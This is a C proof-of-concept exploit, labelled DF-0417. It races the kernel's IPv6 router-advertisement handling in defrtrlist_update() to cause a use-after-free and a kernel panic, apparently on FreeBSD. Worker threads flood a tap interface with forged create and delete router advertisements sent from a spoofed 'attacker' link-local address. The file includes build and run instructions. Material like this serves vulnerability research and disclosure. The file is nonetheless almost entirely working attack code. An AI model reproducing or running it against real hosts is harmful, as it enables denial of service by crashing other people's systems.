/* DF-0417 PoC (multi-threaded race): drive the defrtrlist_update() UAF race.
 *
 * tap0 can only be opened by ONE process (tapopen is exclusive, if_tap.c:337),
 * so this single process opens /dev/tap0 and spawns N worker threads that each
 * flood alternating CREATE (lifetime + many prefix-info options to widen the
 * unlocked window in nd6_ra_input between defrtrlist_update() returning and
 * prelist_update() re-locking) and DELETE (lifetime 0 -> defrtrlist_del ->
 * kfree) RAs for the SAME router address.
 *
 * tapwrite() calls if_input() synchronously on the writer's CPU (if_tap.c:981),
 * so workers running on different CPUs process their RAs concurrently:
 *   worker A (CPUx): defrtrlist_update() returns dr, runs unlocked prefix loop
 *   worker B (CPUy): defrtrlist_del(dr) -> kfree(dr)
 * If B frees dr while A is still in the prefix loop, A's prelist_update() then
 * stores a DANGLING pointer (pfxrtr_add) into a prefix's router list; the next
 * pfxlist_onlink_check() / sysctl prefix-list export field-dereferences it
 * (nd6_rtr.c:1148-1149, nd6.c:1493/2248-2253) -> UAF read.
 *
 * On GENERIC (INVARIANTS ON) the freed slab is poisoned (0xdeadc0de) so the
 * deferred read usually faults -> kernel panic.  This is the bug's signature.
 *
 * Build: cc -O2 -pthread -o ra_race_mt ra_race_mt.c
 * Run (root, after `ifconfig tap0 create up` + ndflagset tap0):
 *   ./ra_race_mt [-d /dev/tap0] [-t threads] [-s secs] [-p prefixes]
 */
#include <sys/param.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <net/if.h>
#include <net/if_dl.h>
#include <net/if_types.h>
#include <net/ethernet.h>
#include <netinet/in.h>
#include <netinet/ip6.h>
#include <netinet/icmp6.h>
#include <arpa/inet.h>
#include <ifaddrs.h>
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <time.h>

#define ATTK_LLA  "fe80::dead:beef:cafe"
static const unsigned char en_attacker[6] = {0x52,0x54,0,0xde,0xad,0xbe};

/* Auto-detect the tap interface's own MAC and IPv6 link-local so we can
 * unicast the RA at it.  (tap0 does not join ff02::1 on this guest, so
 * multicast RAs are dropped by ether_input; nd6_ra_input does not require
 * a multicast destination, so a unicast RA is accepted.) */
static int
resolve_tap(const char *ifname, unsigned char mac[6], struct in6_addr *lla)
{
    struct ifaddrs *ifa, *p;
    if (getifaddrs(&ifa) != 0) return -1;
    int gotmac = 0, gotlla = 0;
    for (p = ifa; p; p = p->ifa_next) {
        if (!p->ifa_name || strcmp(p->ifa_name, ifname)) continue;
        if (p->ifa_addr == NULL) continue;
        if (p->ifa_addr->sa_family == AF_LINK && !gotmac) {
            struct sockaddr_dl *sdl = (struct sockaddr_dl *)p->ifa_addr;
            if (sdl->sdl_type == IFT_ETHER && sdl->sdl_alen == 6) {
                memcpy(mac, LLADDR(sdl), 6);
                gotmac = 1;
            }
        } else if (p->ifa_addr->sa_family == AF_INET6 && !gotlla) {
            struct sockaddr_in6 *sin6 = (struct sockaddr_in6 *)p->ifa_addr;
            if (IN6_IS_ADDR_LINKLOCAL(&sin6->sin6_addr)) {
                *lla = sin6->sin6_addr;
                /* clear embedded scope id */
                lla->s6_addr[2] = 0; lla->s6_addr[3] = 0;
                gotlla = 1;
            }
        }
    }
    freeifaddrs(ifa);
    return (gotmac && gotlla) ? 0 : -1;
}

static u_int16_t icmp6_cksum(const struct in6_addr *s, const struct in6_addr *d,
    const u_int8_t *p, int len) {
    u_int32_t sum = 0; int i;
    for (i=0;i<8;i++){ sum+=ntohs(s->s6_addr16[i]); sum+=ntohs(d->s6_addr16[i]); }
    sum += len; sum += IPPROTO_ICMPV6;
    for (i=0;i<(len&~1);i+=2) sum += (p[i]<<8)|p[i+1];
    if (len&1) sum += p[len-1]<<8;
    while (sum>>16) sum=(sum&0xffff)+(sum>>16);
    return (u_int16_t)(~sum & 0xffff);
}

static int g_npfx = 16;
static struct in6_addr g_src, g_dst;
static unsigned char g_dstmac[6];
static int g_fd = -1;
static int g_secs = 60;
static volatile int g_stop = 0;
static int g_frame;
static u_int8_t *g_create, *g_dele;
static int g_clen, g_dlen;

static void build_frames(void) {
    g_frame = 14 + 40 + sizeof(struct nd_router_advert)
                  + g_npfx * (int)sizeof(struct nd_opt_prefix_info) + 8;
    g_create = malloc(g_frame+4); g_dele = malloc(g_frame+4);
    /* CREATE: lifetime 1800 + prefix options */
    u_int8_t *b = g_create; int off=0;
    memcpy(b+off,g_dstmac,6); off+=6;          /* unicast to tap */
    memcpy(b+off,en_attacker,6); off+=6;
    b[off++]=0x86; b[off++]=0xdd;
    struct ip6_hdr *ip=(struct ip6_hdr*)(b+off);
    ip->ip6_flow=htonl(6<<28);
    int icmp_off=off+sizeof(struct ip6_hdr);
    int ra_len=sizeof(struct nd_router_advert)+g_npfx*(int)sizeof(struct nd_opt_prefix_info)+8;
    ip->ip6_plen=htons(ra_len); ip->ip6_nxt=IPPROTO_ICMPV6; ip->ip6_hlim=255;
    ip->ip6_src=g_src; ip->ip6_dst=g_dst; off=icmp_off;
    struct nd_router_advert *ra=(struct nd_router_advert*)(b+off);
    ra->nd_ra_type=ND_ROUTER_ADVERT; ra->nd_ra_code=0; ra->nd_ra_cksum=0;
    ra->nd_ra_curhoplimit=64; ra->nd_ra_flags_reserved=0;
    ra->nd_ra_router_lifetime=htons(1800); ra->nd_ra_reachable=0; ra->nd_ra_retransmit=0;
    off+=sizeof(struct nd_router_advert);
    for (int p=0;p<g_npfx;p++){
        struct nd_opt_prefix_info *pi=(struct nd_opt_prefix_info*)(b+off);
        pi->nd_opt_pi_type=ND_OPT_PREFIX_INFORMATION; pi->nd_opt_pi_len=4;
        pi->nd_opt_pi_prefix_len=64;
        pi->nd_opt_pi_flags_reserved=ND_OPT_PI_FLAG_ONLINK|ND_OPT_PI_FLAG_AUTO;
        pi->nd_opt_pi_valid_time=htonl(3600); pi->nd_opt_pi_preferred_time=htonl(1800);
        pi->nd_opt_pi_reserved2=0;
        memset(&pi->nd_opt_pi_prefix,0,sizeof(pi->nd_opt_pi_prefix));
        pi->nd_opt_pi_prefix.s6_addr16[0]=htons(0x2001);
        pi->nd_opt_pi_prefix.s6_addr16[1]=htons(0x0db8);
        pi->nd_opt_pi_prefix.s6_addr[15]=(u_int8_t)(p+1);
        off+=sizeof(struct nd_opt_prefix_info);
    }
    struct nd_opt_hdr *sll=(struct nd_opt_hdr*)(b+off);
    sll->nd_opt_type=ND_OPT_SOURCE_LINKADDR; sll->nd_opt_len=1;
    memcpy(b+off+2,en_attacker,6); off+=8;
    int plen=off-icmp_off;
    ra->nd_ra_cksum=htons(icmp6_cksum(&g_src,&g_dst,(u_int8_t*)ra,plen));
    g_clen=off;

    /* DELETE: lifetime 0 (same options, harmless) */
    memcpy(g_dele, g_create, g_clen);
    struct nd_router_advert *rad=(struct nd_router_advert*)(g_dele+icmp_off);
    rad->nd_ra_router_lifetime=htons(0);
    rad->nd_ra_cksum=0;
    rad->nd_ra_cksum=htons(icmp6_cksum(&g_src,&g_dst,(u_int8_t*)rad,plen));
    g_dlen=g_clen;
}

static void *worker(void *arg) {
    int tid = (int)(long)arg;
    long sent=0;
    while (!g_stop) {
        /* each worker alternates create/delete; high aggregate rate from many
         * workers maximizes the chance a DELETE on one CPU lands inside a
         * CREATE's unlocked prefix loop on another CPU. */
        u_int8_t *f = (sent & 1) ? g_dele : g_create;
        int fl = (sent & 1) ? g_dlen : g_clen;
        if (write(g_fd, f, fl) < 0) { /* ignore transient errors */ }
        sent++;
    }
    fprintf(stderr, "  worker %d: sent %ld\n", tid, sent);
    return NULL;
}

int main(int argc, char **argv) {
    const char *dev="/dev/tap0";
    const char *ifname="tap0";
    int nthreads=6;
    int opt;
    while ((opt=getopt(argc,argv,"d:i:t:s:p:"))!=-1){
        switch(opt){
        case 'd': dev=optarg; break;
        case 'i': ifname=optarg; break;
        case 't': nthreads=atoi(optarg); break;
        case 's': g_secs=atoi(optarg); break;
        case 'p': g_npfx=atoi(optarg); break;
        default: fprintf(stderr,"usage: %s [-d dev][-i ifname][-t threads][-s sec][-p pfx]\n",argv[0]); return 2;
        }
    }
    if (inet_pton(AF_INET6,ATTK_LLA,&g_src)!=1){
        fprintf(stderr,"inet_pton src failed\n"); return 2;
    }
    if (resolve_tap(ifname, g_dstmac, &g_dst) != 0) {
        fprintf(stderr,"could not resolve %s mac/link-local (is it UP w/ IPv6?)\n", ifname);
        return 2;
    }
    char dstbuf[INET6_ADDRSTRLEN]; inet_ntop(AF_INET6,&g_dst,dstbuf,sizeof(dstbuf));
    fprintf(stderr,"target %s mac=%02x:%02x:%02x:%02x:%02x:%02x lla=%s\n", ifname,
        g_dstmac[0],g_dstmac[1],g_dstmac[2],g_dstmac[3],g_dstmac[4],g_dstmac[5], dstbuf);
    g_fd=open(dev, O_RDWR);
    if (g_fd<0){ perror(dev); return 2; }
    build_frames();
    fprintf(stderr,"DF-0417 ra_race_mt: dev=%s threads=%d prefixes/RA=%d secs=%d frame=%dB\n",
        dev,nthreads,g_npfx,g_secs,g_frame);
    fprintf(stderr,"  router LLA=%s lifetime CREATE=1800 DELETE=0\n", ATTK_LLA);

    pthread_t th[64];
    if (nthreads>64) nthreads=64;
    for (int i=0;i<nthreads;i++) pthread_create(&th[i],NULL,worker,(void*)(long)i);
    sleep(g_secs);
    g_stop=1;
    for (int i=0;i<nthreads;i++) pthread_join(th[i],NULL);
    fprintf(stderr,"  finished after %ds\n", g_secs);
    return 0;
}
